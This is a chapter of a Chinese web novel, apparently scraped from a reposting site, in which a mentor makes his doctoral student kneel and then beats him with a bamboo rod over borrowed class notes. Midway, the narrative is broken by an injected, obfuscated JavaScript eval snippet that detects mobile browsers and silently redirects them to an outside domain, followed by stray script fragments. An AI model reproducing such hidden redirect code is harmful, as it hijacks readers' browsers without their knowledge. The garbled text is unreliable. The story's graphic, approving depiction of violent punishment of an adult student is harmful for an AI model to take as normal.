189.笔记

作品:《太阳和群山

    如果不是像柏阅冬和刘巍思这种住在老师家里的,其实博士见导师的机会很少,一个月一次已经算高频。趁着林也来家里吃饭,周先生忍不住问:“最近有读书吗?”


    林也点了点头:“在读《全宋词》,上次老师说不大赞成我把苏轼和辛弃疾放在一起研究,因为苏轼的婉约词比豪放词更多,但是我思考过后还是很想做这个研究,目前把苏轼归为豪放词人还是共识,也需要更细致的研究去纠正大家的认识误区。”


    林也年纪不大,但想法却很大胆,也很有见识。周先生沉默一会,道:“倒不是不赞成你做,只是怕你做比较研究,落入纯对比而无结论的窠臼,你若是坚持,这个课题是很有意义的,但要注意,一定要有结论,不要单纯比较异同。”


    “我明白,老师。”争取到研究的主动权,林也非常高兴,又问柏阅冬,“师兄呢?现在应该在写毕业论文了吧?”


    柏阅冬没他那么大的兴致,怏怏道:“还在抄词,好多,根本抄不完。”


    “师兄要抄很多吗?我可以帮忙。”


    柏阅冬摇摇头:“不是抄的问题,是得找,我那个题目,至少也得二三十个词人吧,典型的最少十个吧,至于词,少说三四百首。”


    “太少了。”周先生淡淡道。


    柏阅冬嚷起来:“我找不到那么多!”


    “言在此而意在彼的词很多,一定要沉下心来,慢慢看,仔细判断,不用急。”


    “那有些看不出来嘛!”


    “也没见你来问师父。”


    “我来问,师父就要说我笨,我才不来。”


    周先生无奈地笑了笑:“笨是事实,坦然接受就好了。给你吃个螃蟹,吃完就有力气继续看书了。”


    柏阅冬放下筷子,徒手拆螃蟹:“我长这么大,只有师父说我笨。”


    周先生一碗水端平,也给林也夹了一只蟹,头也不抬:“你不笨,怎么还要拜人为师?”


    柏阅冬吐吐舌头,专心吃蟹去了。


    一顿午饭吃得相当和谐,饭后林也张罗着要收拾碗筷,周先生没拒绝,让柏阅冬跟着打下手,林也忙摆手:“不用了,师兄歇着吧,我做得来。”


    柏阅冬端着个盘子:“我就假装做一点,不然师父又说我。”


    周先生倚在厨房门边,看他们师兄弟俩干活,内心感到无比平静。


    林也一看就是在家里常洗碗的,洗碗布往碗里一卷就下一个,全部刷过一轮,开水冲,一个个干干净净地捞出来,从大到小叠整齐,放进碗柜。柏阅冬始终站在一旁,看得一愣一愣的。


    林也甩了甩手上的水珠,就着墙壁上挂的干毛巾擦了擦,跟柏阅冬一起走出了厨房。


    饭吃完,就该告辞了,林也从书包里掏出一个本子:“师兄,这是我整理的笔记,给你。”


    “谢啦!”


    周先生原本都准备去泡茶了,一听这话,脚步顿了下来:“什么笔记?”


    “公共课的笔记,我帮师兄整理的。”


    周先生回过身,看着两个小孩:“公共课,不是你们两个一起上的吗?”


    林也还不知道事情严重,点点头:“是啊……”


    “师父……”


    周先生转向柏阅冬:“你做笔记有困难吗?”


    “没、没有……”柏阅冬方才笑嘻嘻的模样早就消失干净了,头压得低低的。


    “老师,”林也害怕极了,忙道,“这些都很简单的,我顺手的事。”


    周先生还是看着柏阅冬:“你要求小也帮你做笔记?”


    林也一骇,语无伦次:“没有没有,老师,师兄没有要求,是我主……”


    他话还没说完,柏阅冬已经跪下去了。林也登时不敢发出任何声音,不知道是该站着还是跟着跪下,恨不得原地消失。


    “小也,”周先生终于转向了他,“你先回去吧,就不让你师兄送你了,你自己可以下去吧?”


    “可以,”林也声音都小了,背起书包,还一脸不忍,“老师,师兄他……”


    “回去吧。”


    林也没办法,只得鞠躬道声再见,在玄关处换了鞋,轻轻开门走了。


    房子里只剩下师徒俩,周先生仍然很平静,淡淡道:“跪旁边去,挡路了。”


    柏阅冬咬咬下唇,站起来,走到墙边跪了。


    才跪了不到半小时,求饶的心蠢蠢欲动,此时门铃响起,柏阅冬一个激灵,大胆地看向正泡茶的师父:“师父,我去开门吧。”


    “不用,你跪着。”周先生放下小茶壶,起身往门口走去。


    按照惯例,周先生是很少放人进门的,几乎是在门口把话说完就送客,因此柏阅冬也并不担心被人看到,倒是比较担心自己娇贵的膝盖。


    可没想到,门一开,一声脆生生的“周老师好”就传了进来,柏阅冬听见这声,浑身一颤,差点跪不住。


    周先生和善地笑笑:“辰辰来了。”


    秦嘉辰把手里的东西往上提了提:“中秋嘛,我给周老师和师兄送东西来。”


    柏阅冬脊背僵硬,心里不住向上天祈祷:老师收下东西就让辰辰走吧,别让辰辰走进来!


    可惜天不遂人愿,周先生往门边一让:“辰辰进来吧,其实家里不缺东西,不必破费的。”


    “不破费,好多都是学校发的,还有些是别人送的,我借花献佛,”秦嘉辰边说话边往里面走,“周老师不……”


    柏阅冬偷看到秦嘉辰的身影,脸羞得通红,又忙转过去了,一副专心思过的模样。


    秦嘉辰不知道发生了什么,却不再说话了,只是默默地把带来的月饼、点心和水果放在餐桌上。


    “不好意思,辰辰,”周先生仍站在门边,“今天不方便招待你了。”


    秦嘉辰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658397|143212||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    勉强笑笑,摇摇头:“我没事的,师兄他……”


    “晚些让他打电话给你。”


    秦嘉辰已经知道接下来要发生什么事,心疼地看了柏阅冬一眼,无奈地点点头:“那、那我今天先回去了。”


    周先生点点头,叮嘱她回去路上小心,把她送出了门。


    柏阅冬难堪得眼泪都要掉出来了。


    跪也跪了,羞也羞了,再放任他一个人在那里呆着就要出事。周先生折返回来,弯腰拿起竹节,闷闷地拍了两下长凳:“过来。”


    柏阅冬是压着脑袋起身走来的,什么话也不说,自觉脱了裤子就往长凳上趴。他已有很长一段时间不挨打,屁股白白嫩嫩,又滑又弹。


    竹节在他臀尖上点了点,当作提醒,随后“啪”一声狠狠抽了下来。


    “唔……”柏阅冬猛地抱紧了长凳一端,疼得整张脸皱了起来,忍不住发出闷哼。


    这根竹节相当于实心的小木棍,打下来看似沉闷,可实际上皮肉底下都打透了,很久才缓缓浮起一道红痕来。而且,自柏阅冬逐渐从失明的阴影中走出来,周先生打他就越发重,这一竹节抽下来,跟以前挨三四下似的。


    真不愧是他们周家的家法。


    “啪!”这一下打得柏阅冬两腿颤抖不住,两团肉也跟着紧缩起来,好像这样就能逃过竹节的肆虐一样。


    周先生只当看不到,高高扬起竹节便重重抽落,柏阅冬顿时叫出了声:“啊!”


    “啪!”


    “啊!”


    “啪!”


    “啊呜……师父……”


    “啪!”


    “唔……”


    “啪!”


    ……


    竹节有节奏地抽打着两团肉丘,十几下过后,屁股上一片暗沉的红色,大约很快就会转成青紫。可周先生还没有停下的意思,仍旧蓄足力气,结结实实地打下去。


    柏阅冬疼得浑身颤抖,可无论如何都不敢求饶,挨到半数过去,眼泪都流了出来,却还是只能死死咬住下唇,强迫自己忍住。


    “啪!”


    “呜呜呜……师父……”柏阅冬一边哭一边扭动屁股,实在是疼极了,两团肉不自觉地左右扭动起来,可根本逃不开长了眼的竹节。那根竹节每一次都会沉沉地抽打在他的屁股上,让他痛彻心扉。


    “啪!”


    “啪!”


    “啪!”


    “师父……啊!呜——”


    “啪!”


    “啊!好痛……”


    “啪!”


    ……


    熬完五十竹节,柏阅冬已是一头冷汗,屁股果然呈现出一片红紫色,大约肿起两指高,他甚至不敢伸手去摸一摸,还是抱着长凳“呜呜”地哭。


    “笔记,抄完送回去给小也,以后再这样,你就别想躺着睡觉了。”


    “呜呜知道了呜呜呜……”